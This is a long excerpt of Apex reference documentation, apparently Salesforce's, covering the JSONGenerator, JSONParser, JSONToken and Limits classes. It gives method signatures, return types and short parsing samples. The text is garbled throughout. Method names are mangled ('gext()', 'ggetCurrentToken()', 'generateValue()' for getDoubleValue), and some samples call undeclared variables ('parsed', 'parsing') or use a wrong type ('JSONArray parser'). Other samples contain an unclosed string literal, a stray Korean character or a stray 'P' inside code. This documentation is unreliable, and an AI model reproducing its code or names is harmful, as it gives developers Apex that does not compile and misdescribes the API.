**Return Value**

Type: `String`

**Example**

The following example serializes a new `Datetime` value.

```java
Datetime dt = Datetime.newInstance(
    Date.newInstance(2011, 3, 22),
    Time.newInstance(2000)
)```
serializePretty(objectToSerialize)
Serializes Apex objects into JSON content and generates indented content using the pretty-print format.

Signature
public static String serializePretty(Object objectToSerialize)

Parameters
objectToSerialize
Type: Object
The Apex object to serialize.

Return Value
Type: String

JSONGenerator Class
Contains methods used to serialize objects into JSON content using the standard JSON encoding.

Namespace
System

Usage
The System.JSONGenerator class is provided to enable the generation of standard JSON-encoded content and gives you more control on the structure of the JSON output.

SEE ALSO:
JSON Generator

JSONGenerator Methods
The following are methods for JSONGenerator. All are instance methods.

IN THIS SECTION:
close()
Closes the JSON generator.
getAsString()
Returns the generated JSON content.

isClosed()
Returns true if the JSON generator is closed; otherwise, returns false.

writeBlob(blobValue)
Writes the specified Blob value as a base64-encoded string.

writeBlobField(fieldName, blobValue)
Writes a field name and value pair using the specified field name and BLOB value.

writeBoolean(blobValue)
Writes the specified Boolean value.

writeBooleanField(fieldName, booleanValue)
Writes a field name and value pair using the specified field name and Boolean value.

writeDate(dateValue)
Writes the specified date value in the ISO-8601 format.

writeDateField(fieldName, dateValue)
Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.

writeDateTime(datetimeValue)
Writes the specified date and time value in the ISO-8601 format.

writeDateTimeField(fieldName, datetimeValue)
Writes a field name and value pair using the specified field name and date and time value. The date and time value is written in the ISO-8601 format.

writeEndArray()
Writes the ending marker of a JSON array (']').

writeEndObject()
Writes the ending marker of a JSON object ('}').

writeFieldName(fieldName)
Writes a field name.

writeId(identifier)
Writes the specified ID value.

writeIdField(fieldName, identifier)
Writes a field name and value pair using the specified field name and identifier value.

writeNull()
Writes the JSON null literal value.

writeNullField(fieldName)
Writes a field name and value pair using the specified field name and the JSON null literal value.

writeNumber(number)
Writes the specified decimal value.

writeNumber(number)
Writes the specified double value.

writeNumber(number)
Writes the specified integer value.
writeNumber(number)
Writes the specified long value.

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and decimal value.

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and double value.

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and integer value.

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and long value.

writeObject(anyObject)
Writes the specified Apex object in JSON format.

writeObjectField(fieldName, value)
Writes a field name and value pair using the specified field name and Apex object.

writeStartArray()
Writes the starting marker of a JSON array ('[').

writeStartObject()
Writes the starting marker of a JSON object ('{').

writeString(stringValue)
Writes the specified string value.

writeStringField(fieldName, stringValue)
Writes a field name and value pair using the specified field name and string value.

writeTime(timeValue)
Writes the specified time value in the ISO-8601 format.

writeTimeField(fieldName, timeValue)
Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.

close()
Closes the JSON generator.

Signature
public Void close()
**getAsString()**
Returns the generated JSON content.

**Signature**
```
public String getAsString()
```

**Return Value**
Type: String

**Usage**
This method closes the JSON generator if it isn't closed already.

**isClosed()**
Returns true if the JSON generator is closed; otherwise, returns false.

**Signature**
```
public Boolean isClosed()
```

**Return Value**
Type: Boolean

**writeBlob(blobValue)**
Writes the specified Blob value as a base64-encoded string.

**Signature**
```
public Void writeBlob(Blob blobValue)
```

**Parameters**
- `blobValue`
  Type: Blob

**Return Value**
Type: Void

**writeBlobField(fieldName, blobValue)**
Writes a field name and value pair using the specified field name and BLOB value.
Signature

public Void writeBlobField(String fieldName, Blob blobValue)

Parameters

fieldName
Type: String
blobValue
Type: Blob

Return Value
Type: Void

writeBoolean(blobValue)

Writes the specified Boolean value.

Signature

public Void writeBoolean(Boolean blobValue)

Parameters

blobValue
Type: Boolean

Return Value
Type: Void

writeBooleanField(fieldName, booleanValue)

Writes a field name and value pair using the specified field name and Boolean value.

Signature

public Void writeBooleanField(String fieldName, Boolean booleanValue)

Parameters

fieldName
Type: String
booleanValue
Type: Boolean

Return Value
Type: Void
**writeDate(dateValue)**

Writes the specified date value in the ISO-8601 format.

**Signature**

```java
public Void writeDate(Date dateValue)
```

**Parameters**

- `dateValue`
  - Type: `Date`

**Return Value**

Type: `Void`

**writeDateField(fieldName, dateValue)**

Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.

**Signature**

```java
public Void writeDateField(String fieldName, Date dateValue)
```

**Parameters**

- `fieldName`
  - Type: `String`

- `dateValue`
  - Type: `Date`

**Return Value**

Type: `Void`

**writeDateTime(datetimeValue)**

Writes the specified date and time value in the ISO-8601 format.

**Signature**

```java
public Void writeDateTime(Datetime datetimeValue)
```

**Parameters**

- `datetimeValue`
  - Type: `Datetime`

**Return Value**

Type: `Void`
Return Value
Type: Void

writeDateTimeField(fieldName, datetimeValue)
Wrties a field name and value pair using the specified field name and date and time value. The date and time value is written in the ISO-8601 format.

Signature
public Void writeDateTimeField(String fieldName, Datetime datetimeValue)

Parameters
fieldName
Type: String
datetimeValue
Type: Datetime

Return Value
Type: Void

writeEndArray()
Wrties the ending marker of a JSON array (']').

Signature
public Void writeEndArray()

Return Value
Type: Void

writeEndObject()
Wrties the ending marker of a JSON object ('}').

Signature
public Void writeEndObject()

Return Value
Type: Void

writeFieldName(fieldName)
Wrties a field name.
**writeFieldName(String fieldName)**

*Signature*

```java
public Void writeFieldName(String fieldName)
```

*Parameters*

- `fieldName`  
  Type: String

*Return Value*

Type: Void

**writeId(ID identifier)**

*Signature*

```java
public Void writeId(ID identifier)
```

*Parameters*

- `identifier`  
  Type: ID

*Return Value*

Type: Void

**writeIdField(String fieldName, ID identifier)**

*Signature*

```java
public Void writeIdField(String fieldName, ID identifier)
```

*Parameters*

- `fieldName`  
  Type: String
- `identifier`  
  Type: ID

*Return Value*

Type: Void
**writeNull()**

Writes the JSON null literal value.

**Signature**

```java
public Void writeNull()
```

**Return Value**

Type: Void

**writeNullField(fieldName)**

Writes a field name and value pair using the specified field name and the JSON null literal value.

**Signature**

```java
public Void writeNullField(String fieldName)
```

**Parameters**

- `fieldName`  
  Type: String

**Return Value**

Type: Void

**writeNumber(number)**

Writes the specified decimal value.

**Signature**

```java
public Void writeNumber(Decimal number)
```

**Parameters**

- `number`  
  Type: Decimal

**Return Value**

Type: Void
Signature

public Void writeNumber(Double number)

Parameters

number  
  Type: Double

Return Value

Type: Void

writeNumber(number)  
Writes the specified integer value.

Signature

public Void writeNumber(Integer number)

Parameters

number  
  Type: Integer

Return Value

Type: Void

writeNumber(number)  
Writes the specified long value.

Signature

public Void writeNumber(Long number)

Parameters

number  
  Type: Long

Return Value

Type: Void

writeNumberField(fieldName, number)  
Writes a field name and value pair using the specified field name and decimal value.
public Void writeNumberField(String fieldName, Decimal number)

Parameters

fieldName
  Type: String

number
  Type: Decimal

Return Value

Type: Void

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and double value.

public Void writeNumberField(String fieldName, Double number)

Parameters

fieldName
  Type: String

number
  Type: Double

Return Value

Type: Void

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and integer value.

public Void writeNumberField(String fieldName, Integer number)

Parameters

fieldName
  Type: String

number
  Type: Integer
Return Value
Type: Void

`writeNumberField(fieldName, number)`
Writes a field name and value pair using the specified field name and long value.

Signature
`public Void writeNumberField(String fieldName, Long number)`

Parameters

`fieldName`
Type: String

`number`
Type: Long

Return Value
Type: Void

`writeObject(anyObject)`
Writes the specified Apex object in JSON format.

Signature
`public Void writeObject(Object anyObject)`

Parameters

`anyObject`
Type: Object

Return Value
Type: Void

`writeObjectField(fieldName, value)`
Writes a field name and value pair using the specified field name and Apex object.

Signature
`public Void writeObjectField(String fieldName, Object value)`

2012
Parameters
fieldName
  Type: String
value
  Type: Object

Return Value
Type: Void

writeStartArray()  
Writes the starting marker of a JSON array ('[').

Signature
public Void writeStartArray()  

Return Value
Type: Void

writeStartObject()  
Writes the starting marker of a JSON object ('{').

Signature
public Void writeStartObject()  

Return Value
Type: Void

writeString(stringValue)  
Writes the specified string value.

Signature
public Void writeString(String stringValue)  

Parameters
stringValue
  Type: String

Return Value
Type: Void
writeStringField(fieldName, stringValue)

Writes a field name and value pair using the specified field name and string value.

Signature

public Void writeStringField(String fieldName, String stringValue)

Parameters

fieldName
  Type: String

stringValue
  Type: String

Return Value

Type: Void

writeTime(timeValue)

Writes the specified time value in the ISO-8601 format.

Signature

public Void writeTime(Time timeValue)

Parameters

timeValue
  Type: Time

Return Value

Type: Void

writeTimeField(fieldName, timeValue)

Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.

Signature

public Void writeTimeField(String fieldName, Time timeValue)

Parameters

fieldName
  Type: String

timeValue
  Type: Time
Return Value
Type: Void

JSONParser Class
Represents a parser for JSON-encoded content.

Namespace
System

Usage
Use the System.JSONParser methods to parse a response that's returned from a call to an external service that is in JSON format, such as a JSON-encoded response of a Web service callout.

SEE ALSO:
   JSON Parsing

JSONParser Methods
The following are methods for JSONParser. All are instance methods.

IN THIS SECTION:
   clearCurrentToken()
      Removes the current token.
   getBlobValue()
      Returns the current token as a BLOB value.
   getBooleanValue()
      Returns the current token as a Boolean value.
   getCurrentName()
      Returns the name associated with the current token.
   getCurrentToken()
      Returns the token that the parser currently points to or null if there's no current token.
   getDatetimeValue()
      Returns the current token as a date and time value.
   getDateValue()
      Returns the current token as a date value.
   getDecimalValue()
      Returns the current token as a decimal value.
   getDoubleValue()
      Returns the current token as a double value.
getIdValue()
Returns the current token as an ID value.

getIntegerValue()
Returns the current token as an integer value.

getLastClearedToken()
Returns the last token that was cleared by the clearCurrentToken method.

getLongValue()
Returns the current token as a long value.

gext()
Returns the textual representation of the current token or null if there's no current token.

getTimeValue()
Returns the current token as a time value.

hasCurrentToken()
Returns true if the parser currently points to a token; otherwise, returns false.

nextToken()
Returns the next token or null if the parser has reached the end of the input stream.

nextValue()
Returns the next token that is a value type or null if the parser has reached the end of the input stream.

readValueAs(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.

readValueAsStrict(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON content must be present in the specified type.

skipChildren()
Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently points to.

clearCurrentToken()
Removes the current token.

Signature
public Void clearCurrentToken()

Return Value
Type: Void

Usage
After this method is called, a call to hasCurrentToken returns false and a call to getCurrentToken returns null. You can retrieve the cleared token by calling getLastClearedToken.
**getBlobValue()**

Returns the current token as a BLOB value.

**Signature**

```java
public Blob getBlobValue()
```

**Return Value**

Type: Blob

**Usage**

The current token must be of type `JSONToken.VALUE_STRING` and must be Base64-encoded.

**getBooleanValue()**

Returns the current token as a Boolean value.

**Signature**

```java
public Boolean getBooleanValue()
```

**Return Value**

Type: Boolean

**Usage**

The current token must be of type `JSONToken.VALUE_TRUE` or `JSONToken.VALUE_FALSE`.

The following example parses a sample JSON string and retrieves a Boolean value.

```java
String JSONContent = '{"isActive":true}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parsed.nextValue();
// Get the Boolean value.
Boolean isActive = parser.getBooleanValue();
```

**getCurrentName()**

Returns the name associated with the current token.

**Signature**

```java
public String getCurrentName()
```
Return Value

Type: String

Usage

If the current token is of type JSONToken.FIELD_NAME, this method returns the same value as getText. If the current token is a value, this method returns the field name that precedes this token. For other values such as array values or root-level values, this method returns null.

The following example parses a sample JSON string. It advances to the field value and retrieves its corresponding field name.

Example

```java
String JSONContent = '{"firstName":"John"}';
JSONParser parser =
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parsing.nextValue();
// Get the field name for the current value.
String fieldName = parser.getCurrentName();
// Get the textual representation
// of the value.
String fieldValue = parser.getText();
```

ggetCurrentToken()

Returns the token that the parser currently points to or null if there's no current token.

Signature

public System.JSONToken getCurrentToken()

Return Value

Type: System.JSONToken

Usage

The following example iterates through all the tokens in a sample JSON string.

```java
String JSONContent = '{"firstName":"John"}';
JSONParser parser =
    JSON.createParser(JSONContent);
// Advance to the next token.
while (parser.nextToken() != null) {
    System.debug('Current token: ' +
                  parser.getCurrentToken());
}
```
**getDatetimeValue()**

Returns the current token as a date and time value.

**Signature**

```java
public Datetime getDatetimeValue()
```

**Return Value**

Type: `Datetime`

**Usage**

The current token must be of type `JSONToken.VALUE_STRING` and must represent a `Datetime` value in the ISO-8601 format.

The following example parses a sample JSON string and retrieves a Datetime value.

```java
String JSONContent = '{"transactionDate":"2011-03-22T13:01:23"};
JSONParser parser =
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the transaction date.
Datetime transactionDate =
    parser.getDatetimeValue();
```

**getDateValue()**

Returns the current token as a date value.

**Signature**

```java
public Date getDateValue()
```

**Return Value**

Type: `Date`

**Usage**

The current token must be of type `JSONToken.VALUE_STRING` and must represent a `Date` value in the ISO-8601 format.

The following example parses a sample JSON string and retrieves a Date value.

```java
String JSONContent = '{"dateOfBirth":"2011-03-22"}';
JSONParser parser =
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
```
// Advance to the next value.
parser.nextValue();
// Get the date of birth.
Date dob = parser.getDateValue();

getDecimalValue()
Returns the current token as a decimal value.

Signature
public Decimal getDecimalValue()

Return Value
Type: Decimal

Usage
The current token must be of type JSONToken.VALUE_NUMBER_FLOAT or JSONToken.VALUE_NUMBER_INT and is a numerical value that can be converted to a value of type Decimal.
The following example parses a sample JSON string and retrieves a Decimal value.

```java
String JSONContent = 
    '{"GPA":3.8}';
JSONArray parser = 
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Decimal gpa = parser.getDecimalValue();
```

generateValue()
Returns the current token as a double value.

Signature
public Double getDoubleValue()

Return Value
Type: Double

Usage
The current token must be of type JSONToken.VALUE_NUMBER_FLOAT and is a numerical value that can be converted to a value of type Double.
The following example parses a sample JSON string and retrieves a Double value.

```java
String JSONContent = 
    '{"GPA":3.8}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Double gpa = parser.getDoubleValue();
```

**getIdValue()**

Returns the current token as an ID value.

**Signature**

```java
public ID getIdValue()
```

**Return Value**

Type: ID

**Usage**

The current token must be of type `JSONToken.VALUE_STRING` and must be a valid ID.

The following example parses a sample JSON string and retrieves an ID value.

```java
String JSONContent = 
    '{"recordId":"001R0000002nO6H"}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record ID.
ID recordID = parser.getIdValue();
```

**getIntegerValue()**

Returns the current token as an integer value.

**Signature**

```java
public Integer getIntegerValue()
```

**Return Value**

Type: Integer
### Usage

The current token must be of type `JSONToken.VALUE_NUMBER_INT` and must represent an `Integer`.

The following example parses a sample JSON string and retrieves an `Integer` value.

```java
String JSONContent = '{"recordCount":10}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record count.
Integer count = parser.getIntegerValue();
```

### getLastClearedToken()

Returns the last token that was cleared by the `clearCurrentToken` method.

**Signature**

```java
public System.JSONToken getLastClearedToken()
```

**Return Value**

Type: `System.JSONToken`

### getLongValue()

Returns the current token as a long value.

**Signature**

```java
public Long getLongValue()
```

**Return Value**

Type: `Long`

### Usage

The current token must be of type `JSONToken.VALUE_NUMBER_INT` and is a numerical value that can be converted to a value of type `Long`.

The following example parses a sample JSON string and retrieves a `Long` value.

```java
String JSONContent = '{"recordCount":2097531021}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
```
// Advance to the next value.
parser.nextValue();
// Get the record count.
Long count = parser.getLongValue();

ggetText()

Returns the textual representation of the current token or null if there's no current token.

Signature
public String getText()

Return Value
Type: String

Usage
No current token exists, and therefore this method returns null, if nextToken has not been called yet for the first time or if the parser has reached the end of the input stream.

getTimeValue()

Returns the current token as a time value.

Signature
public Time getTimeValue()

Return Value
Type: Time

Usage
The current token must be of type JSONToken.VALUE_STRING and must represent a Time value in the ISO-8601 format.

The following example parses a sample JSON string and retrieves a Datetime value.

```java
String JSONContent = 
   '{"arrivalTime":"18:05"}';
JSONParser parser = 
   JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the arrival time.
Time arrivalTime = parser.getTimeValue();
```
hasCurrentToken()  
Returns `true` if the parser currently points to a token; otherwise, returns `false`.

**Signature**

```java
public Boolean hasCurrentToken()
```

**Return Value**

*Type: Boolean*

nextToken()  
Returns the next token or `null` if the parser has reached the end of the input stream.

**Signature**

```java
public System.JSONToken nextToken()
```

**Return Value**

*Type: System.JSONToken*

**Usage**

Advances the stream enough to determine the type of the next token, if any.

nextValue()  
Returns the next token that is a value type or `null` if the parser has reached the end of the input stream.

**Signature**

```java
public System.JSONToken nextValue()
```

**Return Value**

*Type: System.JSONToken*

**Usage**

Advances the stream enough to determine the type of the next token that is of a value type, if any, including a JSON array and object start and end markers.

readValueAs(apexType)  
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.
Signature

public Object readValueAs(System.Type apexType)

Parameters

apexType
Type: System.Type

The apexType argument specifies the type of the object that this method returns after deserializing the current value.

Return Value

Type: Object

Usage

If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content into a custom object or an sObject using Salesforce API version 34.0 or earlier, this method throws a runtime exception when passed extraneous attributes. When deserializing JSON content into an Apex class in any API version, or into an object in API version 35.0 or later, no exception is thrown. When no exception is thrown, this method ignores extraneous attributes and parses the rest of the JSON content.

Example

The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create a new Apex class as follows:

```apex
public class Person {
    public String name;
    public String phone;
}
```

Next, insert the following sample in a class method:

```apex
// JSON string that contains a Person object.
String JSONContent = 
    '{"person":{"name":"John Smith","phone":"555-1212"}}';
JSONParser parser = JSON.createParser(JSONContent);
// Make calls to nextToken()
// to point to the second
// start object marker.
parser.nextToken();
parser.nextToken();
parser.nextToken();
// Retrieve the Person object
// from the JSON string.
Person obj =
    (Person)parser.readValueAs(
        Person.class);
System.assertEquals(
   텖
```
obj.name, 'John Smith');
System.assertEquals(
  obj.phone, '555-1212');

**readValueAsStrict(apexType)**

Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON content must be present in the specified type.

**Signature**

```
public Object readValueAsStrict(System.Type apexType)
```

**Parameters**

- **apexType**
  - Type: System.Type
  - The apexType argument specifies the type of the object that this method returns after deserializing the current value.

**Return Value**

Type: Object

**Usage**

If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content with extraneous attributes into an Apex class, this method throws an exception in all API versions. However, no exception is thrown when you use this method to deserialize JSON content into a custom object or an sObject.

The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create a new Apex class as follows:

```java
public class Person {
    public String name;
    public String phone;
}
```

Next, insert the following sample in a class method:

```java
// JSON string that contains a Person object.
String JSONContent = 
    '{"person":{"name":"John Smith","phone":"555-1212"}}';
JSONParser parser = 
    JSON.createParser(JSONContent);
// Make calls to nextToken() to point to the second start object marker.
parser.nextToken();
parser.nextToken();
parser.nextToken();
```
// Retrieve the Person object
// from the JSON string.
Person obj =
    (Person)parser.readValueAsStrict(
P    Person.class);
System.assertEquals(
    obj.name, 'John Smith');
System.assertEquals(
    obj.phone, '555-1212');

skipChildren()

Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently points to.

Signature

public Void skipChildren()

Return Value

Type: Void

JSONToken Enum

Contains all token values used for parsing JSON content.

Namespace

System

<table>
<thead>
<tr>
<th>Enum Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>END_ARRAY</td>
<td>The ending of an array value. This token is returned when ']' is encountered.</td>
</tr>
<tr>
<td>END_OBJECT</td>
<td>The ending of an object value. This token is returned when '}' is encountered.</td>
</tr>
<tr>
<td>FIELD_NAME</td>
<td>A string token that is a field name.</td>
</tr>
<tr>
<td>NOT_AVAILABLE</td>
<td>The requested token isn't available.</td>
</tr>
<tr>
<td>START_ARRAY</td>
<td>The start of an array value. This token is returned when '[' is encountered.</td>
</tr>
<tr>
<td>START_OBJECT</td>
<td>The start of an object value. This token is returned when '{' is encountered.</td>
</tr>
<tr>
<td>VALUE_EMBEDDED_OBJECT</td>
<td>An embedded object that isn't accessible as a typical object structure that includes the start and end object tokens START_OBJECT and END_OBJECT but is represented as a raw object.</td>
</tr>
<tr>
<td>Enum Value</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------------</td>
<td>--------------------------------------------------</td>
</tr>
<tr>
<td>VALUE_FALSE</td>
<td>The literal &quot;false&quot; value.</td>
</tr>
<tr>
<td>VALUE_NULL</td>
<td>The literal &quot;null&quot; value.</td>
</tr>
<tr>
<td>VALUE_NUMBER_FLOAT</td>
<td>A float value.</td>
</tr>
<tr>
<td>VALUE_NUMBER_INT</td>
<td>An integer value.</td>
</tr>
<tr>
<td>VALUE_STRING</td>
<td>A string value.</td>
</tr>
<tr>
<td>VALUE_TRUE</td>
<td>A value that corresponds to the &quot;true&quot; string literal.</td>
</tr>
</tbody>
</table>

**Limits Class**

Contains methods that return limit information for specific resources.

**Namespace**

*System*

**Usage**

The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap size remaining.

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway Apex doesn’t monopolize shared resources.

None of the Limits methods require an argument. The format of the limits methods is as follows:

```java
myDMLLimit = Limits.getDMLStatements();
```

There are two versions of every method: the first returns the amount of the resource that has been used while the second version contains the word limit and returns the total amount of the resource that is available.

See *Execution Governors and Limits* on page 273.

**Limits Methods**

The following are methods for Limits. All methods are static.

**IN THIS SECTION:**

- `getAggregateQueries()`: Returns the number of aggregate queries that have been processed with any SOQL query statement.
- `getLimitAggregateQueries()`: Returns the total number of aggregate queries that can be processed with SOQL query statements.
- `getCallouts()`: Returns the number of Web service statements that have been processed.
getLimitCallouts()
Returns the total number of Web service statements that can be processed.

getChildRelationshipsDescribes()
Deprecated. Returns the number of child relationship objects that have been returned.

getLimitChildRelationshipsDescribes()
Deprecated. Returns the maximum number of child relationship objects that can be returned.

getCpuTime()
Returns the CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.

getLimitCpuTime()
Returns the time limit (in milliseconds) of CPU usage in the current transaction.

getDMLRows()
Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements, the Database.emptyRecycleBin method, and other methods.

getLimitDMLRows()
Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements, the database.EmptyRecycleBin method, and other methods.

getDMLStatements()
Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have been called.

getLimitDMLStatements()
Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.

getEmailInvocations()
Returns the number of email invocations (such as sendEmail) that have been called.

getLimitEmailInvocations()
Returns the total number of email invocation (such as sendEmail) that can be called.

getFieldsDescribes()
Deprecated. Returns the number of field describe calls that have been made.

getLimitFieldsDescribes()
Deprecated. Returns the maximum number of field describe calls that can be made.

getFieldSetsDescribes()
Deprecated. Returns the number of field set describe calls that have been made.

getLimitFieldSetsDescribes()
Deprecated. Returns the maximum number of field set describe calls that can be made.

getFindSimilarCalls()
This method is deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.

getLimitFindSimilarCalls()
This method is deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.

getFutureCalls()
Returns the number of methods with the future annotation that have been executed (not necessarily completed).
getLimitFutureCalls()
Returns the total number of methods with the future annotation that can be executed (not necessarily completed).

getHeapSize()
Returns the approximate amount of memory (in bytes) that has been used for the heap.

getLimitHeapSize()
Returns the total amount of memory (in bytes) that can be used for the heap.

getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.

getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per day for mobile push notifications.

getPicklistDescribes()
Deprecated. Returns the number of PicklistEntry objects that have been returned.

getLimitPicklistDescribes()
Deprecated. Returns the maximum number of PicklistEntry objects that can be returned.

getQueries()
Returns the number of SOQL queries that have been issued.

getLimitQueries()
Returns the total number of SOQL queries that can be issued.

getQueryLocatorRows()
Returns the number of records that have been returned by the Database.getQueryLocator method.

getLimitQueryLocatorRows()
Returns the total number of records that have been returned by the Database.getQueryLocator method.

getQueryRows()
Returns the number of records that have been returned by issuing SOQL queries.

getLimitQueryRows()
Returns the total number of records that can be returned by issuing SOQL queries.

getQueueableJobs()
Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

getLimitQueueableJobs()
Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

getRecordTypesDescribes()
Deprecated. Returns the number of RecordTypeInfo objects that have been returned.

getLimitRecordTypesDescribes()
Deprecated. Returns the maximum number of RecordTypeInfo objects that can be returned.

getRunAs()
This method is deprecated. Returns the same value as getDMLStatements.

getLimitRunAs()
This method is deprecated. Returns the same value as getLimitDMLStatements.
getSavepointRollbacks()  
This method is deprecated. Returns the same value as getDMLStatements.

getLimitSavepointRollbacks()  
This method is deprecated. Returns the same value as getLimitDMLStatements.

getSavepoints()  
This method is deprecated. Returns the same value as getDMLStatements.

getLimitSavepoints()  
This method is deprecated. Returns the same value as getLimitDMLStatements.

getScriptStatements()  
Deprecated. Returns a value that is based on CPU time usage and that is an approximation of script statement usage.

getLimitScriptStatements()  
Deprecated. Returns the maximum number of Apex statements that can execute.

getSoslQueries()  
Returns the number of SOSL queries that have been issued.

getLimitSoslQueries()  
Returns the total number of SOSL queries that can be issued.

getAggregateQueries()  
Returns the number of aggregate queries that have been processed with any SOQL query statement.

Signature

public static Integer getAggregateQueries()

Return Value

Type: Integer

getLimitAggregateQueries()  
Returns the total number of aggregate queries that can be processed with SOQL query statements.

Signature

public static Integer getLimitAggregateQueries()

Return Value

Type: Integer

getCallouts()  
Returns the number of Web service statements that have been processed.
Signature

public static Integer getCallouts()

Return Value
Type: Integer

getLimitCallouts()
Returns the total number of Web service statements that can be processed.

Signature

public static Integer getLimitCallouts()

Return Value
Type: Integer

g getChildRelationshipsDescribes()
Deprecated. Returns the number of child relationship objects that have been returned.

Signature

public static Integer getChildRelationshipsDescribes()

Return Value
Type: Integer

Usage

Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

g getLimitChildRelationshipsDescribes()
Deprecated. Returns the maximum number of child relationship objects that can be returned.

Signature

public static Integer getLimitChildRelationshipsDescribes()

Return Value
Type: Integer
Usage

Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

getCpuTime()

Returns the CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.

Signature

public static Integer getCpuTime()

Return Value

Type: Integer

getLimitCpuTime()

Returns the time limit (in milliseconds) of CPU usage in the current transaction.

Signature

public static Integer getLimitCpuTime()

Return Value

Type: Integer

getDMLRows()

Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements, the Database.emptyRecycleBin method, and other methods.

Signature

public static Integer getDMLRows()

Return Value

Type: Integer

getLimitDMLRows()

Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements, the database.EmptyRecycleBin method, and other methods.

Signature

public static Integer getLimitDMLRows()
Return Value
Type: Integer

getDMLStatements()
Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have been called.

Signature
public static Integer getDMLStatements()

Return Value
Type: Integer

getLimitDMLStatements()
Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.

Signature
public static Integer getLimitDMLStatements()

Return Value
Type: Integer

getEmailInvocations()
Returns the number of email invocations (such as sendEmail) that have been called.

Signature
public static Integer getEmailInvocations()

Return Value
Type: Integer

getLimitEmailInvocations()
Returns the total number of email invocation (such as sendEmail) that can be called.

Signature
public static Integer getLimitEmailInvocations()
getFieldsDescribes()  
Deprecated. Returns the number of field describe calls that have been made.

Signature  
public static Integer getFieldsDescribes()  

getLimitFieldsDescribes()  
Deprecated. Returns the maximum number of field describe calls that can be made.

Signature  
public static Integer getLimitFieldsDescribes()  

getFieldSetsDescribes()  
Deprecated. Returns the number of field set describe calls that have been made.

Signature  
public static Integer getFieldSetsDescribes()  

Usage  
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.
Usage

Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

getLimitFieldSetsDescribes()

Deprecated. Returns the maximum number of field set describe calls that can be made.

Signature

public static Integer getLimitFieldSetsDescribes()

Return Value

Type: Integer

Usage

Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

getFindSimilarCalls()

This method is deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.

Signature

public static Integer getFindSimilarCalls()

Return Value

Type: Integer

gLimitFindSimilarCalls()

This method is deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.

Signature

public static Integer getLimitFindSimilarCalls()

Return Value

Type: Integer

getFutureCalls()

